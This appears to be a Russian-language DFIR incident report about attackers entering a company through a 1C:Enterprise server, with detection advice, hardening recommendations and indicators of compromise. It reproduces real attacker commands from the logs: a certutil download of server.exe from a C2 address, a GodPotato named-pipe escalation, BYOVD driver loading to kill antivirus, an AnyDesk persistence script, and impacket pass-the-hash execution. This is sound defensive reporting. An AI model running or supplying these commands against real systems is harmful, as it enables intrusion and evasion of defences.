История одного инцидента, или почему не стоит публиковать 1С

от автора

Всем привет, на связи команда DFIR JetCSIRT!

Недавно мы столкнулись с кейсом, где злоумышленники были обнаружены на ранних этапах атаки. Они не успели довести дело до импакта, но изрядно наследили, что дало нам возможность изучить их тактики, техники и процедуры (TTP) в действии.

Мы готовы рассказать, как это было, и дать рекомендации по повышению уровня защищенности.

С чего всё началось?

Системные администраторы обратившейся к нам компании заметили в своей инфраструктуре новые учетные записи, которых там быть не должно было. Именно эта находка и стала поводом обратиться к нам за помощью в расследовании инцидента.

Собрав триажи с ключевых узлов инфраструктуры, мы приступили к анализу. Обнаруженные события действительно указывали на инцидент — запуск разведывательных команд, загрузка ВПО, создание новых учетных записей.

Стало понятно, что речь идет о человекоуправляемой атаке, и нужно принимать экстренные меры реагирования, чтобы закрыть злоумышленникам доступ в инфраструктуру:

Экстренные меры реагирования:

  • Временно ограничить сетевой доступ к инфраструктуре, разрешить его только для доверенных пользователей / сервисов.

  • Провести аудит учетных записей, отключить подозрительные.

  • Сбросить пароли от всех УЗ в Active Directory.

  • Так как на одном из узлов были обнаружены следы компрометации УЗ администратора домена, необходимо произвести сброс всех паролей в домене, в том числе сервисных, а для УЗ krbtgt, которая отвечает за шифрование и подписание билетов Kerberos — в обязательном порядке сделать это дважды (второй раз — после выполнения репликации в домене, примерно через 10 часов).

Продолжаем анализ, ищем точку входа

В ходе расследования мы традиционно выдвигаем несколько гипотез относительно точки входа. Гипотезы компрометации, естественно, зависят от исследуемой инфраструктуры, обычно рассматриваются RDP-bruteforce, фишинговая рассылка, компрометация учетных записей в следствие утечек, эксплуатация уязвимостей сервисов, доступных из сети Интернет.

Однако уже на этапе первичного анализа данных с сервера 1С стало очевидно, что именно он является наиболее вероятной точкой входа. Другие гипотезы отошли на второй план.

Помимо недавно созданных учётных записей на хосте 1С (например, УЗ amdin, это не опечатка, а попытка скрыть свое присутствие), мы обнаружили следы вредоносных процессов, которые запускаются от процесса rphost.

rphost — это основной процесс сервера «1С:Предприятие 8.3», который отвечает за выполнение серверных процедур, обслуживание клиентских соединений и взаимодействие с сервером баз данных.

Если от легитимного прикладного процесса (например, сервера 1С, веб-сервера, СУБД) появляются дочерние процессы cmd.exe или PowerShell — это верный признак атаки на сервис. Такой паттерн поведения практически никогда не встречается в штатной работе.

Кроме того, в данном инциденте мы наблюдали, как злоумышленники активно используют технику LOTL (Living off the Land) для сокрытия своих действий. Речь идет об использовании легитимного программного обеспечения, уже присутствующего в системе, для достижения своих деструктивных целей.

События запуска cmd.exe от процесса rphost.exe:

Parent Process: "c:\program files\1cv8\8.3.27.1688\bin\rphost.exe"

ProcessCommandLine: ""c:\program files\1cv8\8.3\bin\rphost.exe" -range 1560:1591 -reghost host01 -regport 1541 -pid f1809409-3e18-4a6a-b186-cb0a56a1bbe9 -debug -tcp -fromsrvc"

Child Process: "C:\Windows\System32\cmd.exe"

TargetProcessCommandLine: "cmd.exe /C "certutil -urlcache -f http://101.99.75[.]253:10011/server.exe C:\Users\[username]\AppData\Local\Temp\server.exe""

К сожалению, как это часто бывает, настройки аудита в инфраструктуре оставляли желать лучшего, и информации в журналах не так много, как хотелось бы. Предположительно, злоумышленники получили доступ к базе с использованием скомпрометированной учетной записи, с правами на запуск внешних обработок, что позволило выполнять команды от имени процесса 1С.

Повышение привилегий

Получив возможность выполнять код от имени сервера 1С, злоумышленники приступили к этапу повышения привилегий.

Для этого использовалась связка инструментов SeImpersonate-Auditor и GodPotato. На практике реализация атаки выглядит следующим образом.

Пример команды на PowerShell:

powershell -c $pipe = New-Object System.IO.Pipes.NamedPipeServerStream('testpipe', [System.IO.Pipes.PipeDirection]::InOut, 1, [System.IO.Pipes.PipeTransmissionMode]::Message, [System.IO.Pipes.PipeOptions]::Asynchronous); $pipe.WaitForConnection(); Start-Sleep -Seconds 10

Создается именованный канал, к которому затем принудительно подключается системный процесс RPCSS (Remote Procedure Call System Service), с помощью привилегии SeImpersonatePrivilege эксплойт GodPotato извлекает токен SYSTEM, и злоумышленник получает права выполнять код от имени системы.

Отключение СЗИ

Для развития атаки и беспрепятственной работы необходимо отключить СЗИ, для этого злоумышленники использовали технику BYOVD (Bring Your Own Vulnerable Driver). Её суть заключается в следующем: на атакуемую систему загружается легитимный, подписанный драйвер, содержащий известную уязвимость. Операционная система доверяет цифровой подписи, загружает драйвер в ядро, после чего атакующие через IOCTL-интерфейс (Input/Output Control) получают возможность выполнять произвольный код с наивысшими привилегиями.

В данном инциденте в качестве такого драйвера использовался PoisonX.sys. Это довольно свежий драйвер для техники BYOVD, подробнее про его разбор и вызываемые IOCTL можно почитать здесь.

Драйвер позволил злоумышленникам завершить процессы систем защиты, которые были защищены от обычных методов принудительного завершения.

Событие установки драйвера:

Event 7045 A service was installed in the system.

Service Name: PoisonX

Service File Name:  C:\Users\user1cv8\AppData\Local\Temp\PoisonX.sys

Service Type:  kernel mode driver

Service Start Type:  demand start

Команды PowerShell для поиска и удаления хостовых СЗИ:

tasklist | findstr avp

sc start PoisonX

sc query PoisonX

.\Remove-Kaspersky.ps1

Закрепление в инфраструктуре

Для дополнительного закрепления в инфраструктуре злоумышленники предпочли использовать легитимное программное обеспечение для удаленного доступа AnyDesk. Для установки был использован PowerShell-скрипт deploy-anydesk-clean.ps1, часть команд из которого приведена далее.

Команды из скрипта deploy-anydesk-clean.ps1:

$AnyDeskUrl = "https://download.anydesk.com/AnyDesk.exe"

$InstallPath = "C:\Program Files (x86)\AnyDesk"

$AnyDeskPassword = "Kremlin12311!"

$SystemUsernames = @(

    "WgAuthUtility", "SvchostManager", "NetworkServiceHost", "DcomLaunchSvc",

    "RpcEndpointMapper", "EventLogHelper", "WmiProviderHost", "SecurityHealthSvc",

    "UserManagerSvc", "CredentialManager", "SystemGuardian", "PolicyAgent",

    "DnsCacheHelper", "WinmgmtProvider", "SvcHostHelper", "BackgroundTasksHost",

    "DeviceAssociationSvc", "StorageService", "UpdateOrchestrator", "LicenseManager"

)

$RandomPassword = -join ((48..57) + (65..90) + (97..122) | Get-Random -Count 12 | ForEach-Object { [char]$_ })

$installer = "$env:TEMP\AnyDesk_installer.exe"

Invoke-WebRequest -Uri $AnyDeskUrl -OutFile $installer -UseBasicParsing -ErrorAction SilentlyContinue

Write-Host "[3/4] Installing AnyDesk..." -ForegroundColor Green

Start-Process -FilePath $installer -ArgumentList "--install", ""$InstallPath"", "--start-with-win", "--silent" -Wait -NoNewWindow -ErrorAction SilentlyContinue

Start-Sleep -Seconds 3

Write-Host "[4/4] Configuring AnyDesk..." -ForegroundColor Green

cmd /c "echo $AnyDeskPassword | "$InstallPath\AnyDesk.exe" --set-password" 2>&1 | Out-Null

$tempFile = "$env:TEMP\anydesk_id.txt"

Start-Process -FilePath "$InstallPath\AnyDesk.exe" -ArgumentList "--get-id" -RedirectStandardOutput $tempFile -NoNewWindow -Wait

В ходе расследования мы обратили внимание на пароль, использованный злоумышленниками для учетной записи AnyDesk. Подобный пароль упоминался в инциденте конца 2025 года, когда анонимная группировка заявляла о взломе разработчика реестра электронных повесток.

Развитие атаки, удаленное выполнение команд

Далее злоумышленники действовали достаточно стандартно — перемещались по сети по RDP и SMB, производили установку AnyDesk, выполняли разведывательные команды:

  • whoami

  • quser

  • ping hostname

  • curl ifconfig.me

  • net share

  • tasklist | findstr avp

В части команд допускались опечатки, иногда использовалась неверная раскладка (например, при попытке запуска whoami в событиях фиксировалось «црщфьш»). Это свидетельствует о том, что актор русскоговорящий и, скорее всего, из стран бывшего СНГ.

Для удаленного выполнения команд также загружались и использовались утилиты PAExec, PSExec, а для получения информации о домене — инструмент AdRecon. Создавались новые доменные учетные записи, добавлялись в привилегированные группы, такие как Domain Admins, KLAdmins.

В ходе расследования были обнаружены следы impacket и proxychains.

Следы использования impacket и proxychains:

Svc: BTOBTO ¦ Path: %COMSPEC% /Q /c echo net user amdin Kremlin12311 /add /domain ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat ¦ Acct: LocalSystem ¦ StartType: demand start

Svc: BTOBTO ¦ Path: %COMSPEC% /Q /c echo proxychains -q dcomexec.py [reducteddomain]/[reducteduser]@[reductedip] -hashes :4f1c66ea6d2eb11bca868aa78a361918 -object MMC20 ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat ¦ Acct: LocalSystem ¦ StartType: demand start

Кроме того, для доступа к данным в оперативной памяти злоумышленники использовали легитимный DFIR-инструмент MagnetRamCapturer:

Событие создания сервиса MagnetRamCapturer:

Svc: MagnetRAMCapturer ¦ Path: C:\ProgramData\MRCE5D5.tmp ¦ Acct: ¦ StartType: demand start

Он позволяет создавать полный дамп оперативной памяти, а уже из дампа злоумышленники могут извлекать аутентификационные данные.

Заключительная фаза атаки

Злоумышленники получили доступ в инфраструктуру и доступ к привилегированным УЗ, после чего закрепились несколькими способами. Мы предполагаем, что их конечные цели — шифрование и разрушение инфраструктуры — не были достигнуты благодаря грамотным и оперативным мерам реагирования.

Рекомендации

Этот инцидент для обратившейся компании завершился удачно. Для повышения уровня защищенности от подобных случаев необходимо выполнить ряд рекомендаций, в том числе базовых, про которые многие знают, но по каким-то причинам еще не применили для своей инфраструктуры:

Рекомендации по 1С:

  • Отзыв прав на запуск внешних обработок, рекомендуется встраивать необходимые обработки в конфигурацию 1С.

  • Для входа в 1С использовать доменную авторизацию со сложными паролями (длина пароля — 12+).

  • Использовать 2FA, данный функционал 1С доступен с версии 8.3.15.

  • Создать администратора кластера, если ранее не был настроен.

  • Ограничить доступ к файлу 1CV8Clst.lst, который хранит важную информацию, такую как список баз 1С, логины и хэши паролей.

  • Настроить аудит доступа к файлу 1CV8Clst.lst.

  • Не использовать доменную авторизацию между сервером 1С и MS SQL Server.

  • Изолировать серверные процессы ragent, rmngr и rphost (выполнение под разными УЗ, для изменения используются файл swpuser.ini и настройка службы ragent, инструкции).

Базовые рекомендации:

  • Наиболее критичные сервисы, необходимые в работе внутренним пользователям, должны быть доступны только из внутренней сети компании или после подключения к внутренней сети через RA VPN с MFA.

  • Минимизировать количество публикуемых сервисов, предоставляющих доступ к внутренним ресурсам. 

  • Необходимо своевременно обновлять опубликованные сервисы до последних версий, особенно — до последних обновлений безопасности.

  • Реализовать централизованной сбор и анализ событий ИБ за счет внедрения специализированных систем.

Индикаторы компрометации, инструменты, MITRE

Сетевые индикаторы:

IP-адрес

Описание

101.99.75[.]253

С2

Страна: Малайзия

AS 45839

176.37.239[.]4

Подключение к AnyDesk

Страна: Украина

AS 39608

Имя файла

SHA-256

MD5

Описание

PoisonX.sys

a5035cbd6c31616288aa66d98e5a25441ee38651fb5f330676319f921bb816a4

2cc835399634d1f8f50e465201bfd877

Microsoft-signed vulnerable driver

wamsdk.sys

5af1dae21425dda8311a2044209c308525135e1733eeff5dd20649946c6e054c

b6b51508ad6f462c45fe102c85d246c8

Vulnerable WatchDog Antimalware driver

Tools:

AnyDesk, server.exe, PAExec, PSExec, Impacket, proxychains, chisel, MagnetRAMCapture, Mimikatz, KslKatz, deploy-anydesk-clean.ps1, Remove-Kaspersky.ps1

MITRE ATT&CK:

Тактика

Техника

Описание

Initial access

T1190    Exploit Public-Facing Application

Злоумышленники эксплуатируют уязвимости систем, доступных из сети Интернет, в частности 1С

Initial access

T1078    Valid Accounts

Злоумышленники используют легитимные учетные данные для первоначального доступа, закрепления, повышения уровня привилегий или предотвращения обнаружения

Execution

T1059  Command and Scripting Interpreter

Злоумышленники активно используют интерпретаторы командной строки и сценариев для выполнения команд или запуска сценариев и исполняемых файлов

Persistence

T1136    Create Account

Злоумышленники в ходе атак создают учетные записи для закрепления в инфраструктуре

Persistence

T1078    Valid Accounts

Злоумышленники используют скомпрометированные УЗ в ходе атаки

Persistence

T1133 External Remote Services

Злоумышленники устанавливали легитимное ПО удаленного доступа AnyDesk для того, чтобы закрепиться в системе

Privilege Escalation

T1078    Valid Accounts

Для повышения привилегий используют скомпрометированные легитимные доменные и локальные учетные записи

 

Privilege Escalation

T1134 Access Token Manipulation

Злоумышленники используют ВПО для кражи токена доступа и повышения привилегий до уровня SYSTEM

Privilege Escalation

T1098 Account Manipulation

Злоумышленники добавляли скомпрометированные УЗ в привилегированные группы Domain Admins, KLAdmins

Stealth

T1036 Masquerading

Злоумышленники маскируют используемое ВПО под другие легитимные программы

Stealth

T1078 Valid Accounts

Злоумышленники используют скомпрометированные учетные данные

Defense Impairment

T1685 Disable or Modify Tools

Злоумышленники отключают средства защиты, а также изменяют их настройки, используя технику BYOVD 

Credential Access

T1003 OS Credential Dumping

Злоумышленники создавали дамп оперативной памяти с использованием MagnetRam Capturer

Злоумышленники получали аутентификационные данные из памяти процесса LSASS

Discovery

T1087 Account Discovery

Злоумышленники собирают сведения о локальных и доменных группах, используя команды powershell, cmd

Discovery

T1069 Permission Groups Discovery

Злоумышленники собирают сведения о домене с использованием ADRecon

Discovery

T1083 File and Directory Discovery

Злоумышленники просматривают файлы и каталоги в скомпрометированных системах

Discovery

T1518 Software Discovery

Злоумышленники проводят поиски антивирусного ПО на системе путем запуска команд tasklist | findstr avp

Lateral Movement

T1021 Remote Services

Злоумышленники используют службы удаленного доступа и протоколы удаленного доступа для перемещения внутри инфраструктуры

Lateral Movement

T1570 Lateral Tool Transfer

Злоумышленники передают инструменты или другие файлы между системами в скомпрометированных системах

Command and Control

T1219    Remote Access Software

Злоумышленники используют стороннее ПО для обеспечения удаленного доступа и установления интерактивного канала управления и контроля в целевых системах (AnyDesk)

Command and Control

T1572 Protocol Tunneling

Злоумышленники использовали ПО для построения сетевых туннелей Chisel

Авторы:

Артем Семагин, ведущий аналитик киберкриминалистики, «Инфосистемы Джет».Даниил Кирьяков, ведущий аналитик, «Инфосистемы Джет».

ссылка на оригинал статьи https://habr.com/ru/articles/1035226/